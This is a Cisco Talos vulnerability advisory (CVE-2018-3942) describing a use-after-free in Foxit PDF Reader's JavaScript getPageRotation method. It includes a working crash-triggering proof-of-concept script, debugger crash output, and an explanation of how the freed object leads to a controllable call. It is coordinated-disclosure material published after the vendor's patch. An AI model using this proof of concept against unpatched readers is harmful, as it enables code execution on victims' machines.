Talos Vulnerability Report

TALOS-2018-0609

Foxit PDF Reader JavaScript getPageRotation remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3942

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use-after-free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the getPageRotation method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:

function main() {
var a = {}
 a.toString = f;

app.activeDocs[0].getPageRotation(a);

}

function f() {
app.activeDocs[0].closeDoc();
}

main();

In the above code, we create an object a and overload its toString method to be f. Then, when getPageRotation is invoked, toString of the first argument is called, effectivelly closing the document and freeing a number of objects. When getPageRotation continues execution, it reuses a stale reference of a freed object causing a crash.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(1538.132c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=001ce6e8 ecx=0ff8eda8 edx=00000056 esi=12266ef0 edi=80000000
eip=01674425 esp=001ce578 ebp=001ce668 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x6cb75:
01674425 8b11            mov     edx,dword ptr [ecx]  ds:0023:0ff8eda8=????????
0:000> !heap -p -a ecx
    address 0ff8eda8 found in
    _DPH_HEAP_ROOT @ 7651000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    ffc1c30:          ff8e000             2000
    6a6290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    774969cc ntdll!RtlDebugFreeHeap+0x0000002f
    77459e07 ntdll!RtlpFreeHeap+0x0000005d
    774263a6 ntdll!RtlFreeHeap+0x00000142
    7565c614 kernel32!HeapFree+0x00000014
    02aadf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    00fa08bf FoxitReader+0x000d08bf
    00fa28a8 FoxitReader+0x000d28a8
    010e965e FoxitReader+0x0021965e
    010e942b FoxitReader+0x0021942b
    010f842a FoxitReader+0x0022842a
    010e2fd7 FoxitReader+0x00212fd7
    010e2df8 FoxitReader+0x00212df8
    029051ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    029090ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    0290917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    010e09f5 FoxitReader+0x002109f5
    0290ae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
    029051ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    029090ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    0290917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    0100bee7 FoxitReader+0x0013bee7
    0167373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
    016819e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139

 
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x6cb75:
01674425 8b11            mov     edx,dword ptr [ecx]
01674427 8b4204          mov     eax,dword ptr [edx+4]
0167442a ffd0            call    eax
0167442c 8bf0            mov     esi,eax
0167442e 85ff            test    edi,edi
01674430 0f88aa000000    js      FoxitReader!CryptVerifyMessageSignature+0x6cc30 (016744e0)
01674436 8bce            mov     ecx,esi
01674438 e8f1d28a00      call    FoxitReader!CryptVerifyMessageSignature+0x919e7e (01f2172e)
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 001ce668 016829a9 FoxitReader!CryptVerifyMessageSignature+0x6cb75
01 001ce6c4 01251578 FoxitReader!CryptVerifyMessageSignature+0x7b0f9
02 001ce70c 02759b2e FoxitReader+0x381578
03 001ce740 02751946 FoxitReader!CryptVerifyMessageSignature+0x115227e
04 001ce7a8 02753cf3 FoxitReader!CryptVerifyMessageSignature+0x114a096

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And if we take a look at the code immediatelly following the point of crash, we can see edx being used as a vtable pointer, ultimately leading to call instruction with controllable operand in eax. Since the contents of memory pointed to by ecx can easily be controlled,this leads to relatively straight forward conditions for arbitrary code execution.

Timeline

2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.